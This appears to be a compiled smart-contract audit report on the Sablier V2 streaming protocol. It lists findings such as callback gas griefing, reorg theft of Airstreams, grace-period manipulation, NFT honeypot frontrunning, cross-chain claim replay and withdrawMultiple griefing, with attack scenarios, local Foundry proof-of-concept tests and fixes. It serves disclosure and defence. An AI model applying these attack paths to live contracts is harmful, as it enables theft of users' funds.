The issue here is that the caller of the function chooses how much gas he uses for the transaction, because of this he can specify an amount of gas that would be enough to execute the entire transaction, but not enough to execute the callbacks.
Since withdraw is called by either the owner of the NFT or an approved operator, either one can call withdraw with an amount of gas that won't be enough for the sender callback to execute.
In the case of renounce, the sender can specify an amount of gas that won't be enough to execute the callback of the recipient.
Since the callback is wrapped in a try/catch, the caller can send enough gas so that the callback won't have enough to execute, reverting and entering the catch block, but the whole transaction will still have enough to execute. This happens because of the 63/64 rule, when an external call is made only 63/64 gas is forwarded to it, meaning there is always some leftover gas so the rest of the transaction can execute.
In our case, only an event is emitted after the callbacks, so we only need around 1600 gas left over.
This means that sender may calculate the gas, so the callback will recieve 63 * 1600 = 100800, which may not be enough for the complex operations inside the callback. This would result in failed callback execution, but success in _withdraw, function, because we have a catch block and another 1600 gas to emit the event after the callback:
if (msg.sender != sender && sender.code.length > 0 && sender != recipient) {
try ISablierV2Sender(sender).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
As stated by the protocol, the callbacks can be complex and vital to both the sender and the recipient, so skipping them is not good, as logic that might be vital to them, won't execute and those 100800 units of gas may not be enough.
README statement:
In SablierV2Lockup, when onLockupStreamCanceled(), onLockupStreamWithdrawn() and onLockupStreamRenounced() hooks are called, there could be gas bomb attacks because we do not limit the gas transferred to the external contract. This is intended to support complex transactions implemented in those hooks.
NOTE
Note that this issue differs from one, which enforces function caller to send more gas, because of the event emission after the callback. The fix for that, would even make the current attack path easier to implement for malicious actor, because he could make callback function receive even less gas and still accomplish successful withdraw transaction
Skipping important logic, breaking the atomicity of the system.
Manual Review
Not sure what is the best solution here. The best would be to remove the callback functionality. Only events could be emitted and if partyes are interested in taking executing actions on those events, they will implement off-chain listeners with event emittion as triggeres.
Submitted by dimah7, zark, Bauchibred, OrderSol, ZukaNoPro, 0xG0P1, Emmanuel, 0xaman, MSaptarshi007, EgisSecurity, Bube, bG9zZXivZmFpbHVyZQ, bladesec. Selected submission by: dimah7.
When a campaign initiator wants to create a linear or tranched airstream, he calls SablierV2MerkleLockupFactory::createMerkleLL, SablierV2MerkleLockupFactory::createMerkleLT, however these functions use the CREATE method (can be seen in the provided github permalinks) where the address derivation depends only on the SablierV2MerkleLockupFactory nonce. This is susceptible to reorg attacks.
As mentioned in the report's title, reorgs can occur in all EVM chains and most likely on L2's like Arbitrum or Polygon, and as stated in the protocol's README Sablier is compatible with "Any network which is EVM compatible", here are some reference links for some previous reorgs that happened in the past:
Ethereum: https://decrypt.co/101390/ethereum-beacon-chain-blockchain-reorg - 2 years ago
Polygon: https://polygonscan.com/block/36757444/f?hash=0xf9aefee3ea0e4fc5f67aac48cb6e25912158ce9dca9ec6c99259d937433d6df8 - 2 years ago, this is with 120 blocks depth which means 4 minutes of re-written tx's since the block rate is ~2 seconds https://protos.com/polygon-hit-by-157-block-reorg-despite-hard-fork-to-reduce-reorgs/ - February last year, 157 blocks depth
Optimistic rollups (Optimism/Arbitrum) are also suspect to reorgs since if someone finds a fraud the blocks will be reverted, even though the user receives a confirmation.
These are the biggest events of reorgs that happened, here is a link for forked blocks, which means excluded blocks as a result of "Block Reorganizations" on Polygon: https://polygonscan.com/blocks_forked?p=1, where can be observed that at least two-digit block reorgs happen every month.
The vulnerability here is that airstream creators rely on address derivation in advance or when trying to deploy the same address on different chains, any funds sent to the airstream can be stolen.
Proof-Of-Concept:
Imagine the following scenario:
- Alice deploys a new Airstream and funds it.
- Bob has an active bot that observes the blockchain and alerts in reorg.
- Bob calls one of the forementioned create functions
- Thus an Airstream is created with an address to which Alice sends tokens.
- Finally Alice's tx is executed and an Airstream is funded which Bob controls.
- Bob immediately calls
SablierV2MerkleLockup::clawbackand transfers the tokens to himself.
Impact: High - funds provided by the creator can be stolen Likelihood: Low - as it requires an event of block reorganizations and as the creator of the stream has an option to not fund it immediately. Overall: Medium
Manual Review
Deploy the newly created Airstreams via CREATE2 with salt that inlcudes msg.sender.
Submitted by Timenov, 0xsandy, bladesec. Selected submission by: 0xsandy.
According to EIP4906-specification, the smart contracts that are implementing it must have a supportsInferface(bytes4) function that returns true when called with 0x49064906. But, there in no implementation of supportsInterface(bytes4) function in the SablierV2Lockup contract.
The contract inherits from ERC4906 and ERC721.
abstract contract SablierV2Lockup is
NoDelegateCall, // 0 inherited components
Adminable, // 1 inherited components
IERC4906, // 2 inherited components
ISablierV2Lockup, // 4 inherited components
ERC721 // 6 inherited components
{But, there is no overridden supportsInterface() function implemented inside the SablierV2Lockup contract.
When integrating with external protocols like NFT marketplaces, they check for supportsInterface() function with 0x49064906 interface id to make sure that our NFTs supports metadata and batch metadata update.
But in our case, supportsInterface() function is not implemented. Thus, the NFT markets will not update the images and related attributes of the NFTs.
Unlike other NFTs, stream NFTs are different. They contain various attributes like progress, status, amount and duration of the stream. Not updating these attributes for transferable NFTs can lead to recipients honey pot other users while selling/transferring the NFTs and In our case these attributes are never updated.
Manual Analysis
Implement the supportsInterface() function in the SablierV2Lockup contract like the reference implementation suggested by EIP4906 specification.
L-02. Cancelling a Merkle Lockup is only callable by initialAdmin even after admin had been modified
Submitted by jenniferSun, AMOW, 0xaman, ge6a, amaron, bladesec, bG9zZXivZmFpbHVyZQ. Selected submission by: AMOW.
Claiming a Merkle Lockup sets the sender param to the admin of the deployed lockup. This makes him the only eligible caller of cancel and renounce due to the _isCallerStreamSender internal call.
function _isCallerStreamSender(uint256 streamId) internal view returns (bool) {
return msg.sender == _streams[streamId].sender;
}If the admin of the lockup is modified, the new admin would be unable to call these 2 functions as they refer to stale data.
Whenever a Merkle Lockup is created, it assigns in the constructor an initialAdmin. The admin's responsibilities in the beginning are the following:
- Call
clawbackif necessary - Call
setNFTDescriptor - Transfer the admin role
- Account for being
senderof merkle lockup streams
In the event of admin modification, tasks 1-3 are checked against onlyAdmin modifier and would be delegated to the new admin address. However, the initialAdmin would remain assigned as stream sender since it is checked against the admin address at the time of claiming the stream. The 4 main admin responsibilities would be split between 2 addresses, where neither of the 2 would be able to perform all 4 admin roles. Furthermore, the senderAmount during cancelation is paid out back to the initialAdmin and would have to get transferred from there too. One would assume that all initialAdmin functionalities should be available for the currentAdmin, especially if the initialAdmin address would be deprecated/dropped by the Merkle lockup creator. Assuming Sablier's intent to operate in a B2B environment, a company that pays out funds through merkle streams could modify the admin parameter more often, leading to unexpected behaviour.
An issue based on the same root-cause (stale admin parameter) is listed under the Known Issues paragraph, however it describes a completely different impact related to onLockupStreamWithdrawn() hook callback which has optional implementation and non-core functionality (as it does not handle funds, opposed to cancel). Therefore, I believe, due to the different impact, this should be considered as a separate issue.
Unexpected behaviour
Manual review
Modify _isCallerStreamSender to _isCallerStreamSenderOrCurrentAdmin and check whether the caller is the current admin too, if yes, send the senderAmount during cancelation to him.
Submitted by BiasedMerc, Yashar0x, bladesec. Selected submission by: Yashar0x.
This issue arises when a campaign creator chooses to deploy the campaign first and fund it later. If a malicious recipient funds the Merkle Lockup contract immediately after deployment and triggers the claim() function, the grace period starts prematurely by setting the _firstClaimTime to the current block.timestamp. Consequently, the creator risks missing the window to call the clawback function. In the scenario where the creator funds the campaign after the grace period ends and then realizes there's a malicious value in the merkle tree, they won't be able to call the clawback function, leaving the funds exposed to risk if a malicious Merkle tree is detected.
After the creator deploys a campaign, a grace period begins after the first claim. This is done by setting _firstClaimTime to uint40(block.timestamp)Link to code.
During the grace period, which lasts for 7 days, the creator can withdraw the funds by calling clawback() in case of a malicious Merkle tree:
In case of a malicious Merkle tree, clawback can be called to withdraw funds from the deployed MerkleLockup contracts until the grace period ends
Also according to the protocols documentations creators are able to deploy the campaign and fund it later:
Additionally, you don't have to immediately fund the Airstream contract. You can just create the contract and at a later date fund it with the airdropped tokens.
The problem arises when a creator deploys a campaign and plans to fund it later. A malicious recipient can exploit this by funding the Merkle lockup contract right after deployment and calling claim(), which will prematurely start the grace period by setting _firstClaimTime to the current block.timestamp. This premature initiation of the grace period disrupts the intended sequence.
If the creator funds the campaign after the grace period ends and realizes there's a malicious value in the Merkle tree, they won't be able to call the clawback function, leaving the funds exposed to risk if a malicious Merkle tree is detected.
- Alice (the creator) deploys a campaign but plans to fund it later.
- Bob (a malicious recipient) funds the campaign right after deployment and calls
claim()with his actual parameters (index, recipient, amount, and merkleProof). - Bob's claim will start the grace period.
- A few days later (let's say 8 days), Alice funds the campaign but then realizes there's a malicious value in the Merkle tree, so she attempts to withdraw the funds by calling
clawback(). However, her transaction reverts because the grace period has ended.
To test the scenario please make a file named Ninja.t.sol in this path: /v2-periphery/test/integration/merkle-lockup/ and paste the following test code in it:
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22;
import { ISablierV2MerkleLT } from "src/interfaces/ISablierV2MerkleLT.sol";
import { Errors } from "src/libraries/Errors.sol";
import { Integration_Test } from "../Integration.t.sol";
contract Ninja is Integration_Test {
function setUp() public virtual override {
Integration_Test.setUp();
deal({ token: address(dai), to: users.recipient1, give: defaults.CLAIM_AMOUNT() });
}
function test_clawbackFailedAfterEarlyClaim() external {
// Admin creates the campaign (Deploying the merkleLT)
merkleLT = createMerkleLT();
// merkleLT isn't funded yet
assert(dai.balanceOf(address(merkleLT)) == 0);
// Bob immediately funds the Merkle Lockup equal to his claim amount and then calls the claim()
// Grace period starts from now
vm.startPrank(users.recipient1);
dai.transfer(address(merkleLT), defaults.CLAIM_AMOUNT());
claimLT();
vm.stopPrank();
// 8 days later the Admin funds the merkleLT to airdrop the tokens
vm.warp({ newTimestamp: block.timestamp + 10 days });
vm.prank(users.admin);
deal({ token: address(dai), to: address(merkleLT), give: defaults.AGGREGATE_AMOUNT() });
// Admin realizes the merkle tree is incorrect/malicious and calls the clawback() to retrieve the funds
// but the transaction reverts because the grace period has ended
uint128 clawbackAmount = uint128(dai.balanceOf(address(merkleLT)));
vm.expectRevert(
abi.encodeWithSelector(
Errors.SablierV2MerkleLockup_ClawbackNotAllowed.selector,
block.timestamp,
defaults.EXPIRATION(),
defaults.FIRST_CLAIM_TIME()
)
);
vm.prank(users.admin);
merkleLT.clawback({ to: users.admin, amount: clawbackAmount });
}
////////////////////////////////////////////////////////////////
//////////////////// INTERNAL FUNCTIONS //////////////////////
////////////////////////////////////////////////////////////////
function createMerkleLT() internal returns (ISablierV2MerkleLT) {
return createMerkleLT(users.admin, defaults.EXPIRATION());
}
function createMerkleLT(address admin, uint40 expiration) internal returns (ISablierV2MerkleLT) {
// Increment the CREATE nonce for factory contract.
++merkleLockupFactoryNonce;
return merkleLockupFactory.createMerkleLT({
baseParams: defaults.baseParams(admin, dai, expiration, defaults.MERKLE_ROOT()),
lockupTranched: lockupTranched,
tranchesWithPercentages: defaults.tranchesWithPercentages(),
aggregateAmount: defaults.AGGREGATE_AMOUNT(),
recipientCount: defaults.RECIPIENT_COUNT()
});
}
function claimLT() internal returns (uint256) {
return merkleLT.claim({
index: defaults.INDEX1(),
recipient: users.recipient1,
amount: defaults.CLAIM_AMOUNT(),
merkleProof: defaults.index1Proof()
});
}
}Run the test:
forge test --match-test test_clawbackFailedAfterEarlyClaim
The premature initiation of the grace period allows malicious users to exploit the system, leaving creators unable to withdraw funds during the intended window. Consequently, if a malicious Merkle tree is detected after the grace period, the creator loses the ability to claw back funds, leaving them exposed to potential losses.
VSCode Foundry
One possible solution is to define a funding function to fund the campaign and a modifier to check whether the campaign is funded by the admin or not. In this case, if anyone other than the admin directly funds the campaign, they would simply lose their money because isFunded would not be true.
SablierV2MerkleLockup.sol
diff --git a/SablierV2MerkleLockup.sol.orig b/SablierV2MerkleLockup.sol
index cd5c178..de04894 100644
--- a/SablierV2MerkleLockup.sol.orig
+++ b/SablierV2MerkleLockup.sol
@@ -42,6 +42,8 @@ abstract contract SablierV2MerkleLockup is
/// @inheritdoc ISablierV2MerkleLockup
bool public immutable override TRANSFERABLE;
+ bool public isFunded;
+
/// @inheritdoc ISablierV2MerkleLockup
string public ipfsCID;
@@ -103,6 +105,18 @@ abstract contract SablierV2MerkleLockup is
USER-FACING NON-CONSTANT FUNCTIONS
//////////////////////////////////////////////////////////////////////////*/
+ modifier onlyFunded() {
+ if (!isFunded) {
+ revert("The campaign is not funded yet");
+ }
+ _;
+ }
+
+ function fund(uint256 amount) external onlyAdmin {
+ ASSET.safeTransferFrom(msg.sender, address(this), amount);
+ if (!isFunded) isFunded = true;
+ }
+
/// @inheritdoc ISablierV2MerkleLockup
function clawback(address to, uint128 amount) external override onlyAdmin {
// Check: current timestamp is over the grace period and the campaign has not expired.SablierV2MerkleLT.sol
diff --git a/SablierV2MerkleLT.sol.orig b/SablierV2MerkleLT.sol
index 7d091f5..ae28403 100644
--- a/SablierV2MerkleLT.sol.orig
+++ b/SablierV2MerkleLT.sol
@@ -79,6 +79,7 @@ contract SablierV2MerkleLT is
)
external
override
+ onlyFunded
returns (uint256 streamId)
{
// Generate the Merkle tree leaf by hashing the corresponding parameters. Hashing twice prevents secondL-04. Malicious user can honeypot other users to buy their stream on an NFT marketplace and cancel it right before the purchase happens
Submitted by ZukaNoPro, 0xnevi, 0xHackerNight, amaron, Greed, bladesec. Selected submission by: Greed.
https://github.com/Cyfrin/2024-05-Sablier/blob/main/v2-core/src/abstracts/SablierV2Lockup.sol
note the issue can also occur on NFT lending marketplaces with a few variations but the attack path is similar
Victims think they are buying a worth stream but they end up with an empty stream.
This results in a loss of funds for the victims, profit for the malicious user and loss of trust in the Sablier protocol.
In the majority of NFT marketplaces such as Opensea and Blur, users can list their NFT by approving it to the marketplace contract.
Once the NFT finds a buyer, the marketplace contract transfers the NFT from the owner to the buyer who pays to receive it.
Regarding Sablier, a stream is represented as an NFT and can have the ability to be :
- transfered (by the NFT owner) : the new NFT owner will be able to withdraw streamed (an unclaimed) funds
- canceled (by the stream creator) : the stream creator will be able to withdraw the un-streamed funds, setting the stream in a state where it won't stream funds anymore (the current owner is still able to withdraw the already streamed funds)
Here is a realistic scenario where a malicious user can honeypot other users to steal their funds.
note that this scenario can be crafted in a more malicious way but for the sake of simplicity, we'll keep it this way
- Attacker creates a linear stream that lasts for 5 days, holds 5,000 USDC and sets the recipient to himself
- Attacker lists the stream on Opensea for the equivalent of 1,000 USDC
- User sees he can make a 4,000 USDC profit and buys the stream for 1,000 USDC
- Attacker was monitoring the mempool and frontruns the user's transaction to withdraw the already streamed tokens (he can do it since he is the stream recipient) and cancel it to recover the un-streamed tokens (he can do it since he is the stream creator)
- The marketplace executes the trade, sends the 1,000 USDC equivalent to the attacker and sends the stream to the user
At the end of the scenario, the attacker basically stole $1,000 from the user
Manual review
Considering the protocol design, the issue can't be patched easily.
In order to prevent one part of the attack, the stream would need to be UNCANCELABLE but this can't be enforced as it is a core functionality.
The second part of the attack can't really be countered because while the NFT is listed on the marketplace, it might still stream funds which can be claimed by NFT owner at any time.
One idea would be to add a requirement on the NFT approval function that checks if the address approved is part of a list of allowed marketplaces. If that is the case, the stream would need to be canceled (and maybe have 0 streamed tokens?)
Adding functions to make the process easier for users would be beneficial.
Submitted by 0xspryon, golanger85, okolicodes. Selected submission by: golanger85.
Considering Sablier is compatible with any evm chain, this unfortunately opens up the below scenario. In multi-chain deployments, the claim function in the SablierV2MerkleLL & SablierV2MerkleLT contract is vulnerable to front-running and Cross Chain replay attacks.
The claim function in SablierV2MerkleLL relies on Merkle proofs to validate claims. The function generates a Merkle tree leaf by hashing the claim parameters, which are then checked against the Merkle root.
function claim(uint256 index, address recipient, uint128 amount, bytes32[] calldata merkleProof)
external override returns (uint256 streamId) {
// Generate the Merkle tree leaf by hashing the corresponding parameters.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(index, recipient, amount))));
// Check: validate the function.
_checkClaim(index, leaf, merkleProof);
// Effect: mark the index as claimed.
_claimedBitMap.set(index);
// Interaction: create the stream via {SablierV2LockupLinear}.
streamId = LOCKUP_LINEAR.createWithDurations(
LockupLinear.CreateWithDurations({
sender: admin,
recipient: recipient,
totalAmount: amount,
asset: ASSET,
cancelable: CANCELABLE,
transferable: TRANSFERABLE,
durations: streamDurations,
broker: Broker({ account: address(0), fee: ud(0) })
})
);
// Log the claim.
emit Claim(index, recipient, amount, streamId);
}
Multi-Chain Deployment and Forks:
The SablierV2MerkleLL contract is designed to be deployed on multiple EVM-compatible chains. This creates a risk scenario where the same Merkle proof could be used to claim tokens on different chains or forks.
An attacker monitors the mempool across different chains. When a recipient submits a claim transaction on one chain, the attacker replicates it on another chain where the contract is also deployed. This allows the attacker to potentially claim tokens on the other chain before the legitimate recipient.
During a chain fork, the attacker monitors transactions on the shorter fork. If a recipient’s claim transaction appears on the shorter fork, the attacker can replicate it on the longer fork. The attacker's transaction on the longer fork is processed, allowing them to claim tokens before the legitimate recipient when the shorter fork is discarded.
If a claim is made with an incorrect recipient address due to differences across chains, the tokens will be lost or misdirected.
Foundry
EIP-712 Signatures.
Use EIP-712 signatures to ensure each claim is unique to the specific chain and contract. This prevents attackers from replaying transactions across different chains.
// Example EIP-712 implementation
bytes32 domainSeparator = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("SablierV2MerkleLL")),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
keccak256("Claim(uint256 index,address recipient,uint128 amount)"),
index,
recipient,
amount
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signer = ecrecover(digest, v, r, s);
require(signer == recipient, "Invalid signature");
Chain ID Verification Include chain ID verification within the claim function to ensure that claims are only valid on the intended chain.
function claim(uint256 index, address recipient, uint128 amount, bytes32[] calldata merkleProof, uint256 chainId)
external override returns (uint256 streamId) {
require(chainId == block.chainid, "Invalid chain ID");
// Generate the Merkle tree leaf by hashing the corresponding parameters.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(index, recipient, amount, chainId))));
// Check: validate the function.
_checkClaim(index, leaf, merkleProof);
// ... rest of the logic
}
Submitted by 0xspryon, 0xG0P1, 0xaman, Tripathi. Selected submission by: 0xspryon.
https://github.com/Cyfrin/2024-05-Sablier/blob/main/v2-core/src/abstracts/SablierV2Lockup.sol#L599
https://github.com/tethercoin/USDT/blob/main/TetherToken.sol#L340
When the stream sender cancels a stream, we call the asset transfer method to reimburse the amount that is yet to be streamed to the sender. If this call reverts, then the call to cancel the stream reverts as well.
There exists ERC20 tokens that are pausable. For example USDT on ethereum ( verifiable on etherscan ) If for whatever reason the stream asset is paused, then the stream Sender is unable to cancel the stream until the asset is unpaused.
Replace the content of `v2-core/test/mocks/erc20/ERC20Mock.sol` with the below code block
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.22;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
import "forge-std/src/console.sol";
contract ERC20Mock is ERC20, ERC20Pausable {
constructor(string memory name, string memory symbol) ERC20(name, symbol) { }
function pause() public {
_pause();
console.log("Contract paused");
}
function transfer(address to, uint256 value) override public whenNotPaused returns (bool) {
return super.transfer(to, value) ;
}
function _update(address from, address to, uint256 value)
internal
override(ERC20, ERC20Pausable)
{
super._update(from, to, value);
}
}Add the below codeblock in `v2-core/test/integration/concrete/lockup/cancel/cancel.t.sol` Notice the importation of the ERC20Mock file.
import { ERC20Mock } from "../../../../../test/mocks/erc20/ERC20Mock.sol";
function test_CancelAssetPaused()
external
whenNotDelegateCalled
givenNotNull
givenStreamWarm
whenCallerAuthorized
givenStreamCancelable
givenStatusStreaming
givenRecipientContract
givenRecipientImplementsHook
whenRecipientDoesNotRevert
whenNoRecipientReentrancy
{
// Create the stream.
uint256 streamId = createDefaultStreamWithRecipient(address(goodRecipient));
// Pause the stream Asset
ERC20Mock(address(lockup.getAsset(defaultStreamId))).pause();
// Cancel the stream.
vm.expectRevert();
lockup.cancel(streamId);
// Assert that the stream's status is still "STREAMING".
Lockup.Status actualStatus = lockup.statusOf(streamId);
Lockup.Status expectedStatus = Lockup.Status.STREAMING;
assertEq(actualStatus, expectedStatus);
// Assert that the stream is still cancelable.
bool isCancelable = lockup.isCancelable(streamId);
assertTrue(isCancelable, "isCancelable");
// Assert that the refunded amount has not been updated.
uint128 actualRefundedAmount = lockup.getRefundedAmount(streamId);
uint128 expectedRefundedAmount = 0;
assertEq(actualRefundedAmount, expectedRefundedAmount, "refundedAmount");
}run the below command in the terminal
forge test --mt test_CancelAssetPaused -vvv
The stream sender is temporarily unable to cancel the stream which leads to a loss of funds as the stream will continue streaming the assets to the Stream Receiver. The impact of the loss of funds depends on how long the asset has been paused for, relative to how fast the asset is being streamed. For the sake of an example, imagine the asset is paused just as the stream is about to get past the Stream's cliff period and the sender wishes to cancel the stream.
likelihood: medium as assets are paused only under cases of force majeure but taking into account that Sablier supports all ERC20 assets on all EVM compatible chains, the probability of a pausing on an asset happening is not low.
impact: high as all cancelable asset streams effectively become uncancelable while the asset is paused. Knowing USDT's stature as one of the well respected and transacted stablecoins, this will translate to a lot of streams(without taking into account the other pausable assets on all the evm compatible chains where Sablier is/would be deployed).
Fuzzing with foundry
Similar to how when the Stream is canceled the Stream Receiver is expected to withdraw the streamed assets by himself in a call seperate to the call to cancel the stream, we should seperate the transfer of the Senders funds from the cancel funtion into a seperate function
Submitted by mxusewashere, bladesec. Selected submission by: mxusewashere.
When someone needs to withdraw from multiple streams, they can easily do so by calling withdrawMultiple. The user specifies the amounts to withdraw and the corresponding stream IDs. This feature is particularly useful when a user creates a batch of streams and wants to withdraw them to the respective recipients, due to the nature of batch streams this is super convenient.
function withdrawMultiple(
uint256[] calldata streamIds,
uint128[] calldata amounts
)
external
override
noDelegateCall
{
// Check: there is an equal number of `streamIds` and `amounts`.
uint256 streamIdsCount = streamIds.length;
uint256 amountsCount = amounts.length;
if (streamIdsCount != amountsCount) {
revert Errors.SablierV2Lockup_WithdrawArrayCountsNotEqual(streamIdsCount, amountsCount);
}
// Iterate over the provided array of stream IDs, and withdraw from each stream to the recipient.
for (uint256 i = 0; i < streamIdsCount; ++i) {
// Checks, Effects and Interactions: check the parameters and make the withdrawal.
withdraw({ streamId: streamIds[i], to: _ownerOf(streamIds[i]), amount: amounts[i] });
}
}However, a malicious user can easily call withdraw on just one of the many streamIds[] that the user is attempting to withdraw from, specifying a small amount. This is feasible because anyone can call withdraw upon a recipient.
This is further confirmed by the protocol itself, as stated in the documentation:
// Unknown caller
These are callers who are neither Sender nor Recipient but are allowed to trigger withdrawals on behalf of the recipients. This is because the withdraw function is publicly callable. Note that an unknown caller can withdraw assets only to the recipient's address.
With all of this in mind, the following scenario will be played out:
- Let's say a user calls
withdrawMultiplewith an array containing hundreds ofstreamIds(which is plausible due to the nature of batch streams). - The user aims to withdraw the maximum amount from all
streamIds. - For example,
streamId(1)holds 50 tokens, and the user specifiesamount = 50forstreamId(1). - A malicious user observes this and frontruns this by calling
withdraw, specifyingstreamId(1)andamount = 1. - Consequently, the available amount that can be withdrawn from
streamId(1)changes to50 - 1 = 49. withdrawMultiplefunction fails.
Sponsor also confirmed this is an issue per discord:
// Q: @SY | Sablier ⏳ if function `withdrawMultiple` can be DOS'ed by a random user would this be considered an issue ?
// A: If it affects other users, then yes.This can be done by anyone, to anyone.
Certainly, there's a function named withdrawMax, which utilizes the _withdrawableAmountOf instead of a specified amount. This function cannot be frontran. However, it's impractical to expect a user to call this function hundreds of times when dealing with a batch.
Manual Review
Introduce a withdrawMaxMultiple function with the logic of withdrawMax, or do not allow anyone to call withdraw functions.